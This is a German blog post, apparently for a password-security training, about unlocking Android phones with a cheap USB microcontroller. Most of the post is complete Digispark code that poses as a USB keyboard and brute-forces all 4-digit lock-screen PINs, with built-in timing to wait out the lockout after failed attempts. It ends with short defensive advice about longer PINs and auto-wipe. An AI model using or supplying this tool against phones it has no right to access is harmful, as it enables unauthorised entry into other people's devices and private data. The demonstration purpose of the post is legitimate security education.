Androids PIN-Sperre automatisiert brechen

Nachdem sich mein Teensy leider nicht mehr programmieren lässt, habe ich mir ein Digispark USB-Board bestellt, um dieses preisgünstige Modell ebenfalls austesten zu können.
Im Rahmen einer Schulung zum Thema Passwortsicherheit wollte ich zeigen, wie gering der Aufwand ist, eine Android-PIN-Sperre automatisiert zu brechen.
Hierbei verhält sich das Board (wie in dem Teensy-Beispiel) wie eine USB-Tastatur und wird per OTG-Kabel am Telefon angeschlossen. Mit Hilfe des folgenden kurzen Codes lässt sich die PIN-Sperre eines Android-Telefons durch Brute-Force irgendwann brechen:

 

#include "DigiKeyboard.h"
unsigned long PRE_DELAY = 3000; // wait 3 seconds before starting
unsigned long FAILED_DELAY = 30500; // wait 30.5 seconds after failed attempts
int ATTEMPT_COUNTER = 5; // number of failed attempts until delay kicks in
void setup() {
}

void loop() {
  delay(PRE_DELAY);

  int pin = 0;
  char pin_output[5];
  int counter = 0;
  // Do a dry run first with KEY_ENTER
  // otherwise the first commands might get lost
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(1000);
  // Open the PIN input
  DigiKeyboard.sendKeyStroke(KEY_SPACE);
  delay(500);
  DigiKeyboard.sendKeyStroke(KEY_SPACE);
  for (pin = 0; pin <= 9999; pin++)
  {
    DigiKeyboard.update();
    sprintf(pin_output,"%04d",pin);
    DigiKeyboard.print(pin_output);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    delay(500);
    counter++;
    if (counter == ATTEMPT_COUNTER) {
      delay(1000);
      DigiKeyboard.sendKeyStroke(KEY_ENTER); // acknowledge message
      delay(FAILED_DELAY);
      DigiKeyboard.sendKeyStroke(KEY_SPACE); // open input field again
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      delay(1000);
      counter = 0;
    }
  }
}

Das Ergebnis lässt sich zusammengeschnitten hier betrachten:

Je nach Telefonmodell bzw. Android-Version müssen die Timings noch angepasst werden. Doch selbst, wenn man nach jedem Versuch 30 Sekunden bis zur nächsten Eingabe warten muss, ist die PIN in spätestens vier Tagen ohne Zutun gebrochen.

Um sich gegen solch einen Brute-Force-Versuch zu schützen, ist es empfehlenswert, eine längere PIN oder gar eine Passphrase zum Sperren des Telefons zu verwenden. Ebenso sollte automatisch nach zehn Fehlversuchen das Telefon gelöscht werden.

 

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.